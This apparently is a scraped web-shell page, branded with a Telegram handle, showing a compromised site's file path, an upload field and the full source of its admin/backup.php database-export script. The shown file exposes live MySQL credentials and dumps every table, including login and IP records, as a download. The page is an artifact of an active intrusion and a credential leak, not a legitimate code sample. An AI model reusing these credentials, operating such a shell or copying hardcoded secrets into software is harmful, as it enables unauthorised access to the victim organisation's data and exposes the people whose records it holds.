WebShell: t.me/oghbnz


Current Path : /home/sreemitragroup/public_html/admin/
Upload File :
Current File : /home/sreemitragroup/public_html/admin/backup.php

<?php ob_start(); ?>

<?php require("header.php"); ?>

<?php require("sub_header.php"); ?>











<?php 

    //ENTER THE RELEVANT INFO BELOW

    $mysqlUserName      = "sreemitr_admin";

    $mysqlPassword      = "vizag@123@abc";

    $mysqlHostName      = "localhost";

    $DbName             = "sreemitr_sreemitra";

    $backup_name        = "mybackup.sql";

    $tables             = array("accreditions","add_videos","brochure","city","cms_pages","completed_highlights","completed_images","completed_location","completed_projects","completed_salient_features","completed_ventures","contact_details","home_banner","ip_conn","logs","log_in_cr","manage_upload","media","media_gallery","ongoing_highlights","ongoing_images","ongoing_location","ongoing_projects","ongoing_salient_features","photos","photos_gallery","site_logo","social_links","testimonials");



   //or add 5th parameter(array) of specific tables:    array("mytable1","mytable2","mytable3") for multiple tables



    Export_Database($mysqlHostName,$mysqlUserName,$mysqlPassword,$DbName,  $tables=false, $backup_name=false );



    function Export_Database($host,$user,$pass,$name,  $tables=false, $backup_name=false )

    {

        $mysqli = new mysqli($host,$user,$pass,$name); 

        $mysqli->select_db($name); 

        $mysqli->query("SET NAMES 'utf8'");



        $queryTables    = $mysqli->query('SHOW TABLES'); 

        while($row = $queryTables->fetch_row()) 

        { 

            $target_tables[] = $row[0]; 

        }   

        if($tables !== false) 

        { 

            $target_tables = array_intersect( $target_tables, $tables); 

        }

        foreach($target_tables as $table)

        {

            $result         =   $mysqli->query('SELECT * FROM '.$table);  

            $fields_amount  =   $result->field_count;  

            $rows_num=$mysqli->affected_rows;     

            $res            =   $mysqli->query('SHOW CREATE TABLE '.$table); 

            $TableMLine     =   $res->fetch_row();

            $content        = (!isset($content) ?  '' : $content) . "\n\n".$TableMLine[1].";\n\n";



            for ($i = 0, $st_counter = 0; $i < $fields_amount;   $i++, $st_counter=0) 

            {

                while($row = $result->fetch_row())  

                { //when started (and every after 100 command cycle):

                    if ($st_counter%100 == 0 || $st_counter == 0 )  

                    {

                            $content .= "\nINSERT INTO ".$table." VALUES";

                    }

                    $content .= "\n(";

                    for($j=0; $j<$fields_amount; $j++)  

                    { 

                        $row[$j] = str_replace("\n","\\n", addslashes($row[$j]) ); 

                        if (isset($row[$j]))

                        {

                            $content .= '"'.$row[$j].'"' ; 

                        }

                        else 

                        {   

                            $content .= '""';

                        }     

                        if ($j<($fields_amount-1))

                        {

                                $content.= ',';

                        }      

                    }

                    $content .=")";

                    //every after 100 command cycle [or at last line] ....p.s. but should be inserted 1 cycle eariler

                    if ( (($st_counter+1)%100==0 && $st_counter!=0) || $st_counter+1==$rows_num) 

                    {   

                        $content .= ";";

                    } 

                    else 

                    {

                        $content .= ",";

                    } 

                    $st_counter=$st_counter+1;

                }

            } $content .="\n\n\n";

        }

        //$backup_name = $backup_name ? $backup_name : $name."___(".date('H-i-s')."_".date('d-m-Y').")__rand".rand(1,11111111).".sql";

        $backup_name = $backup_name ? $backup_name : $name.".sql";

        header('Content-Type: application/octet-stream');   

        header("Content-Transfer-Encoding: Binary"); 

        header("Content-disposition: attachment; filename=\"".$backup_name."\"");  

        echo $content; exit;

    }

?>





<?php include_once("foter.php"); ?>